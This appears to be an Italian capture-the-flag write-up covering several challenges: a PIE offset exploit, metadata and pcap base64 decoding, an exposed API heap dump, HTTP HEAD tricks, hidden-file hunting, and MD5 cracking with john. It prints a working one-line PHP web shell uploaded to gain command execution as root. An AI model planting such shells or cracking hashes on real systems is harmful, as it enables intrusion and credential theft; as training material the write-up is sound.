PIE TIME
BINARY-EXPLOITATION
Abbiamo un programma da exploitare ( abbiamo il codice sorgente )
abbastanza easy perché già il programma in esecuzione ci chiede l’indirizzo da mettere , noi dovremmo mettere quello della funzione
win()
. Notiamo che quando eseguiamo il programma ci dice dove si trova main
, quindi basta calcolare l’offset tra l’indirizzo di main
e win
e poi inserire l’indirizzo di main + offset in hex e abbiamo fatto. Intro-Exploitation-0x300
Modifichiamo il codice sorgente per avere l’indirizzo di win → quindi aggiungo un print che mi dice dove si trova win.
Sembra essere circa 150-158 , scriviamo uno script in py che ci dice l’indirizzo giusto , dato un indirizzo →
Information
Abbiamo un file cat.jpg
, provo subito con exiftool
e ottengo tante info
IPTC Digest ok , ma perché License è cosi ? → proviamo a decriptarlo in
base64
HEAD-DUMP
Nient’altro che una web app che ha lasciato troppa documentazione api, tal che di farmi vedere le possibili chiamate api con Swagger, tra cui una che ti restituisce un file head-dump.heapsnapshot →
N0s4n1ty 1
WEB-EXPLOITATION
Descrizione :
Abbiamo un sito dove poter fare upload dei file , se mettiamo un file me lo mette in /uploads/...
, provo a mettere un exploit.php
→
<?php
echo system($_GET['cmd']);
?>
che esegue comandi → infatti se eseguo ls
mi da proprio ls di uploads
.
Provo allora a fare sudo ls -a /root
→ mi esce flag.txt
→
Ho usato un URL ENCODER per passare al comando
Hash crack
proviamo a riconoscere l’hash con Hash Analyzer → notiamo che è un tipo hash MD5 → uso john
→ john --format=Raw-MD5 --wordlist=/usr/share/wordlist/rockyou.txt pwd
dove in pwd
abbiamo il hash.
Otteniamo un’altro hash e usiamo la stessa tecnica →
GET aHEAD
abbiamo un sito dove si fanno due richieste , pulsante scegli rosso → GET e pulsante scegli blu → POST. Già mi ero chiesto perché erano diverse , forse per fare differenza effettivamente tra rosso e blu , siccome non c’erano altri parametri nella richiesta sia GET che POST. Gli Hints dicono :
- forse abbiamo piu di 2 scelte
- prova ad usare il tool BurpSuite e a cambiare tipo di richiesta
ok è fatta devo solo cambiare la richiesta in HEAD → e ottengo il flag nascosto nella Response Header
Scavenger hunt
WEB-EXPLOITATION Abbiamo un sito con della roba nascosta , anche i suggerimenti ci dicono che gia dalla roba nascosta abbiamo dei suggerimenti , infatti per scavenger hunt sta proprio per giochi a catena tipo. le prime 3 parti le trovo nei file :
- HTML
- CSS
robots.txt
in robots.txt
trovo : “I think is an apache server … can you Access the next flag?”
Se cerco “hidden file apache server ” trovo sicuramente .htaccess
dove trovo la 4 parte del flag ( anche grazie al Access scritto con la A grande ).
Ma qui incontro : “I love making websites on my Mac , I can Store a lot of information there”, anche qui posso cercare “hidden file Mac store information” e sicuramente trovo il file .DS_Store
Ds_store, dove trovo la parte finale.
Ph4nt0m 1ntrud3r
Abbiamo questo file .pcap
, aprendolo su wireshark →
Noto però una cosa , nei dati quelli finali con ”==” sembrano essere in base64
codificati ⇒ scriviamo uno scriptino bash
che mi dia sta roba decodificata :
strs=`strings myNetworkTraffic.pcap | grep "=="`
for c in $strs
do
echo "c -> $c"
echo $c | base64 -d 2> /dev/null
echo ""
done
tocca solo una parte dura → riordinare in base al timestamp su wireshark, imposto i filtri su View → time format → timestamp , ordino in base al piu nuovo o piu vecchio e via.